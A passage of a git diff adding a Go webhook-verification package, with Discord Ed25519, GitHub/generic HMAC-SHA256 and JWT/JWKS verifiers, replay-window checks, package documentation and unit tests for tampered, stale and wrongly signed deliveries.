+	return &discordEd25519{
+		signatureHeader: headerOrDefault(cfg.SignatureHeader, discordSignatureHeader),
+		timestampHeader: headerOrDefault(cfg.TimestampHeader, discordTimestampHeader),
+		dedupHeader:     strings.TrimSpace(cfg.DedupHeader),
+		window:          window,
+		now:             opts.Now,
+	}, nil
+}
+
+func (v *discordEd25519) Scheme() string { return "discord-ed25519" }
+
+func (v *discordEd25519) Verify(_ context.Context, req VerifyRequest) (VerifyResult, error) {
+	pub, err := decodeEd25519PublicKey(req.Secret)
+	if err != nil {
+		return VerifyResult{}, err
+	}
+	sigHex := strings.TrimSpace(req.Header.Get(v.signatureHeader))
+	if sigHex == "" {
+		return failf("missing %s signature header", v.signatureHeader), nil
+	}
+	sig, err := hex.DecodeString(sigHex)
+	if err != nil {
+		return failf("%s hex is malformed", v.signatureHeader), nil
+	}
+	if len(sig) != ed25519.SignatureSize {
+		return failf("%s is not a %d-byte signature", v.signatureHeader, ed25519.SignatureSize), nil
+	}
+	ts := strings.TrimSpace(req.Header.Get(v.timestampHeader))
+	if ts == "" {
+		return failf("missing %s header", v.timestampHeader), nil
+	}
+	// Freshness: the signed timestamp is part of the signed message, so a captured
+	// valid delivery replayed outside the window is rejected even though ed25519
+	// still verifies. Mirrors slack-v0's replay defense (parse the unix seconds,
+	// reject when the skew exceeds the window) using the injectable clock.
+	tsSecs, err := strconv.ParseInt(ts, 10, 64)
+	if err != nil {
+		return failf("%s is not a unix timestamp", v.timestampHeader), nil
+	}
+	skew := effectiveNow(req, v.now).Sub(time.Unix(tsSecs, 0))
+	if skew < 0 {
+		skew = -skew
+	}
+	if skew > v.window {
+		return failf("%s skew %s exceeds replay window %s", v.timestampHeader, skew.Truncate(time.Second), v.window), nil
+	}
+	msg := make([]byte, 0, len(ts)+len(req.Body))
+	msg = append(msg, ts...)
+	msg = append(msg, req.Body...)
+	if !ed25519.Verify(pub, msg, sig) {
+		return failf("%s does not match", v.signatureHeader), nil
+	}
+	res := VerifyResult{OK: true}
+	if v.dedupHeader != "" {
+		res.DedupID = strings.TrimSpace(req.Header.Get(v.dedupHeader))
+	}
+	return res, nil
+}
+
+// decodeEd25519PublicKey interprets operator-provided public-key material as
+// either hex (Discord's portal form, 64 hex chars) or raw 32 bytes. A malformed
+// key is an operator fault, so it returns an error rather than a failed result.
+func decodeEd25519PublicKey(material []byte) (ed25519.PublicKey, error) {
+	if len(material) == 0 {
+		return nil, errors.New("webhookverify: discord-ed25519 requires a public key")
+	}
+	trimmed := strings.TrimSpace(string(material))
+	if decoded, err := hex.DecodeString(trimmed); err == nil && len(decoded) == ed25519.PublicKeySize {
+		return ed25519.PublicKey(decoded), nil
+	}
+	if len(material) == ed25519.PublicKeySize {
+		return ed25519.PublicKey(material), nil
+	}
+	return nil, fmt.Errorf("webhookverify: discord-ed25519 public key is not %d-byte hex or raw", ed25519.PublicKeySize)
+}
diff --git a/internal/webhookverify/discord_test.go b/internal/webhookverify/discord_test.go
new file mode 100644
index 0000000000..f6e248d527
--- /dev/null
+++ b/internal/webhookverify/discord_test.go
@@ -0,0 +1,207 @@
+package webhookverify
+
+import (
+	"context"
+	"crypto/ed25519"
+	"encoding/hex"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func discordSig(priv ed25519.PrivateKey, ts string, body []byte) string {
+	msg := append([]byte(ts), body...)
+	return hex.EncodeToString(ed25519.Sign(priv, msg))
+}
+
+// discordClockAt returns a clock pinned at the given unix-seconds timestamp so a
+// fixed-ts signed vector stays inside the replay window deterministically.
+func discordClockAt(unixSecs int64) func() time.Time {
+	return func() time.Time { return time.Unix(unixSecs, 0) }
+}
+
+func TestDiscordEd25519_KnownGoodVector(t *testing.T) {
+	// Deterministic vector: Ed25519 signing is deterministic, so a fixed seed
+	// plus fixed message yields a stable, reproducible signature.
+	seed := make([]byte, ed25519.SeedSize)
+	for i := range seed {
+		seed[i] = byte(i + 1)
+	}
+	priv := ed25519.NewKeyFromSeed(seed)
+	pub := priv.Public().(ed25519.PublicKey)
+	pubHex := hex.EncodeToString(pub)
+
+	ts := "1700000000"
+	body := []byte(`{"type":1}`)
+	wantSig := discordSig(priv, ts, body)
+
+	v, err := New("discord-ed25519", config.WebhookVerify{}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   body,
+		Secret: []byte(pubHex), // operator supplies the app public key as hex
+		Header: hdr(discordSignatureHeader, wantSig, discordTimestampHeader, ts),
+		Now:    discordClockAt(1_700_000_000), // within the freshness window of ts
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if !res.OK {
+		t.Fatalf("known-good vector must verify, reason %q", res.Reason)
+	}
+}
+
+func TestDiscordEd25519_RawKeyBytes(t *testing.T) {
+	pub, priv, _ := ed25519.GenerateKey(nil)
+	ts := "1700000123"
+	body := []byte(`{"type":2,"data":{}}`)
+	v, _ := New("discord-ed25519", config.WebhookVerify{}, Options{})
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   body,
+		Secret: pub, // raw 32-byte public key
+		Header: hdr(discordSignatureHeader, discordSig(priv, ts, body), discordTimestampHeader, ts),
+		Now:    discordClockAt(1_700_000_123), // within the freshness window of ts
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if !res.OK {
+		t.Fatalf("raw-key vector must verify, reason %q", res.Reason)
+	}
+}
+
+func TestDiscordEd25519_BadSignatureRejected(t *testing.T) {
+	pub, priv, _ := ed25519.GenerateKey(nil)
+	ts := "1700000000"
+	body := []byte(`{"type":2}`)
+	good := discordSig(priv, ts, body)
+	// flip the last hex nibble
+	bad := good[:len(good)-1] + string("0123456789abcdef"[(hexVal(good[len(good)-1])+1)%16])
+
+	v, _ := New("discord-ed25519", config.WebhookVerify{}, Options{})
+	res, err := v.Verify(context.Background(), VerifyRequest{Body: body, Secret: pub, Header: hdr(discordSignatureHeader, bad, discordTimestampHeader, ts), Now: discordClockAt(1_700_000_000)})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("a corrupted signature must not verify")
+	}
+}
+
+func TestDiscordEd25519_TamperedAndWrongKeyAndMissing(t *testing.T) {
+	pub, priv, _ := ed25519.GenerateKey(nil)
+	otherPub, _, _ := ed25519.GenerateKey(nil)
+	ts := "1700000000"
+	body := []byte(`{"type":2}`)
+	sig := discordSig(priv, ts, body)
+	v, _ := New("discord-ed25519", config.WebhookVerify{}, Options{})
+	fresh := discordClockAt(1_700_000_000) // keep these inside the freshness window
+
+	// tampered body
+	res, _ := v.Verify(context.Background(), VerifyRequest{Body: []byte(`{"type":3}`), Secret: pub, Header: hdr(discordSignatureHeader, sig, discordTimestampHeader, ts), Now: fresh})
+	if res.OK {
+		t.Error("tampered body must not verify")
+	}
+	// wrong public key
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: otherPub, Header: hdr(discordSignatureHeader, sig, discordTimestampHeader, ts), Now: fresh})
+	if res.OK {
+		t.Error("verification against the wrong public key must fail")
+	}
+	// missing signature header
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: pub, Header: hdr(discordTimestampHeader, ts), Now: fresh})
+	if res.OK {
+		t.Error("missing signature header must not verify")
+	}
+	// missing timestamp header
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: pub, Header: hdr(discordSignatureHeader, sig), Now: fresh})
+	if res.OK {
+		t.Error("missing timestamp header must not verify")
+	}
+}
+
+func TestDiscordEd25519_BadPublicKeyIsError(t *testing.T) {
+	_, priv, _ := ed25519.GenerateKey(nil)
+	ts := "1700000000"
+	body := []byte(`{}`)
+	v, _ := New("discord-ed25519", config.WebhookVerify{}, Options{})
+	// operator supplied a garbage public key: operational error, not OK=false
+	_, err := v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte("not-a-valid-key"), Header: hdr(discordSignatureHeader, discordSig(priv, ts, body), discordTimestampHeader, ts)})
+	if err == nil {
+		t.Fatal("a malformed operator public key must be an operational error")
+	}
+}
+
+// FIX 1: a validly-signed but STALE delivery is rejected on freshness (replay),
+// while the same signature within the window verifies. The timestamp is part of
+// the signed message, so ed25519 alone cannot catch a replay.
+func TestDiscordEd25519_ReplaySkewRejected(t *testing.T) {
+	pub, priv, _ := ed25519.GenerateKey(nil)
+	signed := time.Unix(1_700_000_000, 0)
+	ts := "1700000000"
+	body := []byte(`{"type":2,"data":{}}`)
+	sig := discordSig(priv, ts, body)
+	v, _ := New("discord-ed25519", config.WebhookVerify{}, Options{})
+
+	// 6 minutes later — outside the default 5-minute window even though ed25519 still verifies.
+	stale, err := v.Verify(context.Background(), VerifyRequest{
+		Body: body, Secret: pub,
+		Header: hdr(discordSignatureHeader, sig, discordTimestampHeader, ts),
+		Now:    func() time.Time { return signed.Add(6 * time.Minute) },
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if stale.OK {
+		t.Fatal("a replayed (stale) delivery outside the window must be rejected")
+	}
+
+	// A fresh delivery with the same signature verifies.
+	fresh, _ := v.Verify(context.Background(), VerifyRequest{
+		Body: body, Secret: pub,
+		Header: hdr(discordSignatureHeader, sig, discordTimestampHeader, ts),
+		Now:    func() time.Time { return signed.Add(30 * time.Second) },
+	})
+	if !fresh.OK {
+		t.Fatalf("a fresh delivery must verify, reason %q", fresh.Reason)
+	}
+}
+
+// FIX 2: a pack-authored replay_window is clamped down to the operator ceiling
+// (maxReplayWindow), so a pack cannot neuter the freshness control by widening
+// the window it benefits from weakening.
+func TestDiscordEd25519_ReplayWindowClampedToMax(t *testing.T) {
+	pub, priv, _ := ed25519.GenerateKey(nil)
+	signed := time.Unix(1_700_000_000, 0)
+	ts := "1700000000"
+	body := []byte(`{"type":2}`)
+	sig := discordSig(priv, ts, body)
+
+	// A pack asks for a 1000h window; it must be clamped to maxReplayWindow (15m).
+	v, err := New("discord-ed25519", config.WebhookVerify{ReplayWindow: "1000h"}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	// Just outside the clamped max — still rejected despite the huge requested window.
+	res, _ := v.Verify(context.Background(), VerifyRequest{
+		Body: body, Secret: pub,
+		Header: hdr(discordSignatureHeader, sig, discordTimestampHeader, ts),
+		Now:    func() time.Time { return signed.Add(maxReplayWindow + time.Minute) },
+	})
+	if res.OK {
+		t.Fatalf("a pack replay_window=1000h must be clamped to %s; a delivery past the max must be rejected", maxReplayWindow)
+	}
+}
+
+func hexVal(b byte) int {
+	switch {
+	case b >= '0' && b <= '9':
+		return int(b - '0')
+	case b >= 'a' && b <= 'f':
+		return int(b-'a') + 10
+	default:
+		return 0
+	}
+}
diff --git a/internal/webhookverify/doc.go b/internal/webhookverify/doc.go
new file mode 100644
index 0000000000..37ee014570
--- /dev/null
+++ b/internal/webhookverify/doc.go
@@ -0,0 +1,46 @@
+// Package webhookverify authenticates inbound webhook deliveries for the
+// supervisor webhook receiver.
+//
+// It is pure verification and secret-resolution logic: no HTTP server, no
+// config composition, no rule matching, and no dispatch. The receiver (E3)
+// owns the mux and calls into this package with the raw request body, the
+// request headers, and the operator-resolved secret material; this package
+// answers a single question per scheme — "is this delivery authentic?" — and
+// surfaces the few fields (event type, delivery id, verified identity) the
+// receiver needs downstream.
+//
+// # Schemes
+//
+// A [Verifier] is selected by a scheme string via [New]. Five schemes ship:
+//
+//   - github-hmac-sha256 — X-Hub-Signature-256 HMAC over the raw body.
+//   - hmac-sha256        — generic HMAC over the raw body, configurable header.
+//   - slack-v0           — Slack v0 HMAC over "v0:{ts}:{body}" with a replay window.
+//   - discord-ed25519    — Ed25519 over "{ts}{body}" against the app public key.
+//   - jwt-jwks           — a bearer JWT validated against an operator-pinned JWKS.
+//
+// # Failure model
+//
+// Verify distinguishes two failure kinds so the receiver can map them to
+// different HTTP responses:
+//
+//   - A returned error means the check could not be performed — an operator
+//     wiring or configuration fault (missing/short secret, unreachable JWKS,
+//     malformed public key). The receiver should treat this as 503 and refuse.
+//   - A VerifyResult with OK==false and a Reason means the check ran and the
+//     delivery is not authentic (bad or missing signature, replayed timestamp,
+//     wrong issuer/audience, expired token). The receiver should treat this as
+//     401 and reject.
+//
+// # Operator-owned secrets (security review R1)
+//
+// Secret material is never read from arbitrary process environment. A
+// [SecretResolver] enforces that every secret_env lives in the operator
+// namespace ([OperatorSecretEnvPrefix]), is actually set, and clears a minimum
+// entropy bar — so a pack cannot name an ambient variable like HOME or
+// AWS_SECRET_ACCESS_KEY, and a misconfigured empty secret fails closed instead
+// of authenticating every caller. For jwt-jwks the trust anchor (issuer,
+// audience, JWKS URL) is carried in a separate [JWTVerifierPolicy] that only
+// the operator's city.toml populates — the pack-authored WebhookVerify cannot
+// supply it, by construction of this package's API.
+package webhookverify
diff --git a/internal/webhookverify/hmac.go b/internal/webhookverify/hmac.go
new file mode 100644
index 0000000000..96f93f0da1
--- /dev/null
+++ b/internal/webhookverify/hmac.go
@@ -0,0 +1,159 @@
+package webhookverify
+
+import (
+	"context"
+	"crypto/hmac"
+	"crypto/sha256"
+	"crypto/subtle"
+	"encoding/base64"
+	"encoding/hex"
+	"errors"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const (
+	githubSignatureHeader = "X-Hub-Signature-256"
+	githubEventHeader     = "X-GitHub-Event"
+	githubDeliveryHeader  = "X-GitHub-Delivery"
+	sha256Prefix          = "sha256="
+)
+
+// hmacSHA256 computes the HMAC-SHA256 of msg under key.
+func hmacSHA256(key, msg []byte) []byte {
+	mac := hmac.New(sha256.New, key)
+	mac.Write(msg)
+	return mac.Sum(nil)
+}
+
+// githubHMAC verifies GitHub's X-Hub-Signature-256 scheme: a lowercase-hex
+// HMAC-SHA256 of the raw body, prefixed "sha256=". Event and delivery ids come
+// from fixed GitHub headers.
+type githubHMAC struct {
+	eventHeader     string
+	dedupHeader     string
+	signatureHeader string
+}
+
+func newGitHubHMAC(cfg config.WebhookVerify, _ Options) (Verifier, error) {
+	return &githubHMAC{
+		eventHeader:     headerOrDefault(cfg.EventHeader, githubEventHeader),
+		dedupHeader:     headerOrDefault(cfg.DedupHeader, githubDeliveryHeader),
+		signatureHeader: headerOrDefault(cfg.SignatureHeader, githubSignatureHeader),
+	}, nil
+}
+
+func (v *githubHMAC) Scheme() string { return "github-hmac-sha256" }
+
+func (v *githubHMAC) Verify(_ context.Context, req VerifyRequest) (VerifyResult, error) {
+	if len(req.Secret) == 0 {
+		return VerifyResult{}, errors.New("webhookverify: github-hmac-sha256 requires a resolved secret")
+	}
+	sig := strings.TrimSpace(req.Header.Get(v.signatureHeader))
+	if sig == "" {
+		return failf("missing %s signature header", v.signatureHeader), nil
+	}
+	rest, ok := strings.CutPrefix(sig, sha256Prefix)
+	if !ok {
+		return failf("%s is not in sha256=<hex> form", v.signatureHeader), nil
+	}
+	provided, err := hex.DecodeString(rest)
+	if err != nil {
+		return failf("%s hex is malformed", v.signatureHeader), nil
+	}
+	expected := hmacSHA256(req.Secret, req.Body)
+	if subtle.ConstantTimeCompare(provided, expected) != 1 {
+		return failf("%s does not match", v.signatureHeader), nil
+	}
+	return VerifyResult{
+		OK:        true,
+		EventType: strings.TrimSpace(req.Header.Get(v.eventHeader)),
+		DedupID:   strings.TrimSpace(req.Header.Get(v.dedupHeader)),
+	}, nil
+}
+
+// genericHMAC verifies a plain HMAC-SHA256 of the raw body against a
+// configurable header. The signature encoding is auto-detected: an optional
+// "sha256=" prefix is stripped, then hex and base64 (std/raw) are tried. This
+// covers providers like Plane that sign the raw body but do not follow GitHub's
+// exact header shape.
+type genericHMAC struct {
+	signatureHeader string
+	eventHeader     string
+	dedupHeader     string
+}
+
+func newGenericHMAC(cfg config.WebhookVerify, _ Options) (Verifier, error) {
+	header := strings.TrimSpace(cfg.SignatureHeader)
+	if header == "" {
+		return nil, errors.New("webhookverify: hmac-sha256 requires verify.signature_header")
+	}
+	return &genericHMAC{
+		signatureHeader: header,
+		eventHeader:     strings.TrimSpace(cfg.EventHeader),
+		dedupHeader:     strings.TrimSpace(cfg.DedupHeader),
+	}, nil
+}
+
+func (v *genericHMAC) Scheme() string { return "hmac-sha256" }
+
+func (v *genericHMAC) Verify(_ context.Context, req VerifyRequest) (VerifyResult, error) {
+	if len(req.Secret) == 0 {
+		return VerifyResult{}, errors.New("webhookverify: hmac-sha256 requires a resolved secret")
+	}
+	raw := strings.TrimSpace(req.Header.Get(v.signatureHeader))
+	if raw == "" {
+		return failf("missing %s signature header", v.signatureHeader), nil
+	}
+	provided, ok := decodeSignature(raw)
+	if !ok {
+		return failf("%s is not valid hex or base64", v.signatureHeader), nil
+	}
+	expected := hmacSHA256(req.Secret, req.Body)
+	if subtle.ConstantTimeCompare(provided, expected) != 1 {
+		return failf("%s does not match", v.signatureHeader), nil
+	}
+	res := VerifyResult{OK: true}
+	if v.eventHeader != "" {
+		res.EventType = strings.TrimSpace(req.Header.Get(v.eventHeader))
+	}
+	if v.dedupHeader != "" {
+		res.DedupID = strings.TrimSpace(req.Header.Get(v.dedupHeader))
+	}
+	return res, nil
+}
+
+// decodeSignature decodes a signature that may be hex or base64, with an
+// optional "sha256=" prefix. It returns the raw signature bytes and whether
+// decoding succeeded.
+func decodeSignature(s string) ([]byte, bool) {
+	s = strings.TrimSpace(s)
+	if rest, ok := strings.CutPrefix(s, sha256Prefix); ok {
+		s = rest
+	}
+	if b, err := hex.DecodeString(s); err == nil {
+		return b, true
+	}
+	if b, err := base64.StdEncoding.DecodeString(s); err == nil {
+		return b, true
+	}
+	if b, err := base64.RawStdEncoding.DecodeString(s); err == nil {
+		return b, true
+	}
+	if b, err := base64.URLEncoding.DecodeString(s); err == nil {
+		return b, true
+	}
+	if b, err := base64.RawURLEncoding.DecodeString(s); err == nil {
+		return b, true
+	}
+	return nil, false
+}
+
+// headerOrDefault returns the trimmed override header name, or def when empty.
+func headerOrDefault(override, def string) string {
+	if h := strings.TrimSpace(override); h != "" {
+		return h
+	}
+	return def
+}
diff --git a/internal/webhookverify/hmac_test.go b/internal/webhookverify/hmac_test.go
new file mode 100644
index 0000000000..9316293d13
--- /dev/null
+++ b/internal/webhookverify/hmac_test.go
@@ -0,0 +1,168 @@
+package webhookverify
+
+import (
+	"context"
+	"encoding/base64"
+	"encoding/hex"
+	"net/http"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func hdr(kv ...string) http.Header {
+	h := http.Header{}
+	for i := 0; i+1 < len(kv); i += 2 {
+		h.Set(kv[i], kv[i+1])
+	}
+	return h
+}
+
+var testSecret = []byte("super-secret-shared-hmac-key-0123456789")
+
+func TestGitHubHMAC_Valid(t *testing.T) {
+	body := []byte(`{"action":"labeled","number":7}`)
+	sig := "sha256=" + hex.EncodeToString(hmacSHA256(testSecret, body))
+	v, err := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   body,
+		Secret: testSecret,
+		Header: hdr(githubSignatureHeader, sig, githubEventHeader, "pull_request", githubDeliveryHeader, "del-123"),
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if !res.OK {
+		t.Fatalf("expected OK, got reason %q", res.Reason)
+	}
+	if res.EventType != "pull_request" {
+		t.Errorf("EventType = %q, want pull_request", res.EventType)
+	}
+	if res.DedupID != "del-123" {
+		t.Errorf("DedupID = %q, want del-123", res.DedupID)
+	}
+}
+
+func TestGitHubHMAC_TamperedBody(t *testing.T) {
+	body := []byte(`{"action":"labeled"}`)
+	sig := "sha256=" + hex.EncodeToString(hmacSHA256(testSecret, body))
+	v, _ := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	res, err := v.Verify(context.Background(), VerifyRequest{
+		Body:   []byte(`{"action":"closed"}`), // tampered after signing
+		Secret: testSecret,
+		Header: hdr(githubSignatureHeader, sig),
+	})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("tampered body must not verify")
+	}
+}
+
+func TestGitHubHMAC_WrongSecret(t *testing.T) {
+	body := []byte(`{"action":"labeled"}`)
+	sig := "sha256=" + hex.EncodeToString(hmacSHA256([]byte("a-different-secret-key-abcdefabcdef"), body))
+	v, _ := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	res, _ := v.Verify(context.Background(), VerifyRequest{Body: body, Secret: testSecret, Header: hdr(githubSignatureHeader, sig)})
+	if res.OK {
+		t.Fatal("signature from a different secret must not verify")
+	}
+}
+
+func TestGitHubHMAC_MissingHeader(t *testing.T) {
+	v, _ := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	res, err := v.Verify(context.Background(), VerifyRequest{Body: []byte(`{}`), Secret: testSecret, Header: hdr()})
+	if err != nil {
+		t.Fatalf("Verify: %v", err)
+	}
+	if res.OK {
+		t.Fatal("missing signature header must not verify")
+	}
+}
+
+func TestGitHubHMAC_MissingSecretIsError(t *testing.T) {
+	body := []byte(`{}`)
+	sig := "sha256=" + hex.EncodeToString(hmacSHA256(testSecret, body))
+	v, _ := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	_, err := v.Verify(context.Background(), VerifyRequest{Body: body, Header: hdr(githubSignatureHeader, sig)})
+	if err == nil {
+		t.Fatal("an unresolved secret must be an operational error, not a silent pass/fail")
+	}
+}
+
+func TestGitHubHMAC_MalformedSignature(t *testing.T) {
+	v, _ := New("github-hmac-sha256", config.WebhookVerify{}, Options{})
+	for _, sig := range []string{"deadbeef", "sha256=nothex", "sha1=" + hex.EncodeToString(hmacSHA256(testSecret, []byte("{}")))} {
+		res, err := v.Verify(context.Background(), VerifyRequest{Body: []byte("{}"), Secret: testSecret, Header: hdr(githubSignatureHeader, sig)})
+		if err != nil {
+			t.Fatalf("Verify(%q): %v", sig, err)
+		}
+		if res.OK {
+			t.Errorf("malformed signature %q must not verify", sig)
+		}
+	}
+}
+
+func TestGenericHMAC_ConstructionRequiresHeader(t *testing.T) {
+	if _, err := New("hmac-sha256", config.WebhookVerify{}, Options{}); err == nil {
+		t.Fatal("hmac-sha256 without signature_header must fail construction")
+	}
+}
+
+func TestGenericHMAC_ValidHexAndBase64(t *testing.T) {
+	body := []byte(`{"event":"issue.created"}`)
+	mac := hmacSHA256(testSecret, body)
+	cfg := config.WebhookVerify{SignatureHeader: "X-Plane-Signature", EventHeader: "X-Plane-Event", DedupHeader: "X-Plane-Delivery"}
+	v, err := New("hmac-sha256", cfg, Options{})
+	if err != nil {
+		t.Fatalf("New: %v", err)
+	}
+	encodings := map[string]string{
+		"hex":       hex.EncodeToString(mac),
+		"hexPrefix": "sha256=" + hex.EncodeToString(mac),
+		"base64":    base64.StdEncoding.EncodeToString(mac),
+	}
+	for name, sig := range encodings {
+		res, err := v.Verify(context.Background(), VerifyRequest{
+			Body:   body,
+			Secret: testSecret,
+			Header: hdr("X-Plane-Signature", sig, "X-Plane-Event", "issue", "X-Plane-Delivery", "pd-9"),
+		})
+		if err != nil {
+			t.Fatalf("Verify(%s): %v", name, err)
+		}
+		if !res.OK {
+			t.Errorf("encoding %s: expected OK, reason %q", name, res.Reason)
+		}
+		if res.EventType != "issue" || res.DedupID != "pd-9" {
+			t.Errorf("encoding %s: event/dedup = %q/%q", name, res.EventType, res.DedupID)
+		}
+	}
+}
+
+func TestGenericHMAC_TamperedAndWrongSecretAndMissing(t *testing.T) {
+	body := []byte(`payload-bytes-here`)
+	mac := hmacSHA256(testSecret, body)
+	cfg := config.WebhookVerify{SignatureHeader: "X-Sig"}
+	v, _ := New("hmac-sha256", cfg, Options{})
+
+	// tampered body
+	res, _ := v.Verify(context.Background(), VerifyRequest{Body: []byte("other"), Secret: testSecret, Header: hdr("X-Sig", hex.EncodeToString(mac))})
+	if res.OK {
+		t.Error("tampered body must not verify")
+	}
+	// wrong secret
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: []byte("wrong-secret-wrong-secret-wrong!!"), Header: hdr("X-Sig", hex.EncodeToString(mac))})
+	if res.OK {
+		t.Error("wrong secret must not verify")
+	}
+	// missing header
+	res, _ = v.Verify(context.Background(), VerifyRequest{Body: body, Secret: testSecret, Header: hdr()})
+	if res.OK {
+		t.Error("missing signature header must not verify")
+	}
+}
diff --git a/internal/webhookverify/jwt.go b/internal/webhookverify/jwt.go
new file mode 100644
index 0000000000..ffe48d9424
--- /dev/null
+++ b/internal/webhookverify/jwt.go
@@ -0,0 +1,278 @@
+package webhookverify
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"sync"
+	"time"
+
+	jose "github.com/go-jose/go-jose/v4"
+	"github.com/golang-jwt/jwt/v5"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const (
+	jwtDefaultTokenHeader = "Authorization"
+	jwtBearerPrefix       = "Bearer "
+	jwksDefaultTTL        = 5 * time.Minute
+	jwksMinRefresh        = 30 * time.Second
+	jwksHTTPTimeout       = 10 * time.Second
+	jwksMaxBodyBytes      = 1 << 20
+)
+
+// jwtAllowedMethods pins the signature algorithms this verifier will accept.
+// Restricting to asymmetric methods is the defense against the classic alg-
+// confusion attack (a token signed HS256 using the public key as the HMAC
+// secret) and rejects "alg":"none".
+var jwtAllowedMethods = []string{
+	"RS256", "RS384", "RS512",
+	"PS256", "PS384", "PS512",
+	"ES256", "ES384", "ES512",
+	"EdDSA",
+}
+
+// errJWKSUnavailable wraps a fetch/parse failure of the JWKS document. It marks
+// an operational fault (→ error from Verify) as distinct from a token that
+// simply fails to verify (→ OK==false).
+var errJWKSUnavailable = errors.New("webhookverify: jwks unavailable")
+
+// errKeyNotFound means the token's kid was not present in the (freshly fetched)
+// JWKS. That is a property of the token, not our infrastructure, so it maps to
+// a failed verification rather than an operational error.
+var errKeyNotFound = errors.New("webhookverify: no jwks key for token kid")
+
+// jwtJWKS validates a bearer JWT against an operator-pinned JWKS. Issuer,
+// audience, and JWKS URL come only from the [JWTVerifierPolicy] bound at
+// construction — never from the pack-authored config.WebhookVerify — which is
+// the type-level enforcement of security review R1.
+type jwtJWKS struct {
+	policy      JWTVerifierPolicy
+	tokenHeader string
+	cache       *jwksCache
+	now         func() time.Time
+}
+
+func newJWTJWKS(cfg config.WebhookVerify, opts Options) (Verifier, error) {
+	if opts.JWTPolicy == nil {
+		return nil, errors.New("webhookverify: jwt-jwks requires an operator JWTVerifierPolicy (city.toml), none supplied")
+	}
+	policy := *opts.JWTPolicy
+	if err := policy.validate(); err != nil {
+		return nil, err
+	}
+	client := opts.HTTPClient
+	if client == nil {
+		client = &http.Client{Timeout: jwksHTTPTimeout}
+	}
+	ttl := opts.JWKSCacheTTL
+	if ttl <= 0 {
+		ttl = jwksDefaultTTL
+	}
+	now := opts.Now
+	if now == nil {
+		now = time.Now
+	}
+	return &jwtJWKS{
+		policy:      policy,
+		tokenHeader: headerOrDefault(cfg.SignatureHeader, jwtDefaultTokenHeader),
+		cache: &jwksCache{
+			url:        policy.JWKSURL,
+			client:     client,
+			ttl:        ttl,
+			minRefresh: jwksMinRefresh,
+			now:        now,
+		},
+		now: now,
+	}, nil
+}
+
+func (v *jwtJWKS) Scheme() string { return "jwt-jwks" }
+
+func (v *jwtJWKS) Verify(ctx context.Context, req VerifyRequest) (VerifyResult, error) {
+	raw := strings.TrimSpace(req.Header.Get(v.tokenHeader))
+	if raw == "" {
+		return failf("missing %s token header", v.tokenHeader), nil
+	}
+	if rest, ok := cutBearerPrefix(raw); ok {
+		raw = rest
+	}
+
+	now := effectiveNow(req, v.now)
+	parser := jwt.NewParser(
+		jwt.WithValidMethods(jwtAllowedMethods),
+		jwt.WithIssuer(v.policy.Issuer),
+		jwt.WithAudience(v.policy.Audience),
+		jwt.WithExpirationRequired(),
+		jwt.WithTimeFunc(func() time.Time { return now }),
+	)
+
+	claims := jwt.MapClaims{}
+	_, err := parser.ParseWithClaims(raw, claims, func(token *jwt.Token) (any, error) {
+		kid, _ := token.Header["kid"].(string)
+		return v.cache.keyFor(ctx, kid)
+	})
+	if err != nil {
+		if errors.Is(err, errJWKSUnavailable) {
+			return VerifyResult{}, err
+		}
+		return failf("jwt rejected: %v", err), nil
+	}
+
+	sub, _ := claims.GetSubject()
+	iss, _ := claims.GetIssuer()
+	identity := strings.TrimSpace(sub)
+	if identity == "" {
+		identity = strings.TrimSpace(iss)
+	}
+	var dedup string
+	if jti, ok := claims["jti"].(string); ok {
+		dedup = strings.TrimSpace(jti)
+	}
+	// The jti is inside the signed JWT and is unique per delivery, so it is the
+	// one dedup id safe to use as the dedup KEY (DedupIDSigned). Every other
+	// scheme's id is unsigned or coarse, so the receiver keys on the body hash.
+	return VerifyResult{OK: true, Identity: identity, DedupID: dedup, DedupIDSigned: dedup != ""}, nil
+}
+
+// cutBearerPrefix strips a case-insensitive "Bearer " prefix if present.
+func cutBearerPrefix(s string) (string, bool) {
+	if len(s) >= len(jwtBearerPrefix) && strings.EqualFold(s[:len(jwtBearerPrefix)], jwtBearerPrefix) {
+		return strings.TrimSpace(s[len(jwtBearerPrefix):]), true
+	}
+	return s, false
+}
+
+// jwksCache caches the parsed signing keys from a JWKS endpoint with a TTL and
+// a minimum refresh interval. keyFor serializes fetches under mu; for the low
+// request rates of a webhook receiver this is simpler and correct versus a
+// singleflight, and a stale-but-valid cache still serves during the window.
+type jwksCache struct {
+	url        string
+	client     *http.Client
+	ttl        time.Duration
+	minRefresh time.Duration
+	now        func() time.Time
+
+	mu        sync.Mutex
+	keys      map[string]any
+	anon      []any
+	fetchedAt time.Time
+}
+
+// keyFor returns the public key for kid, refreshing the JWKS when the cache is
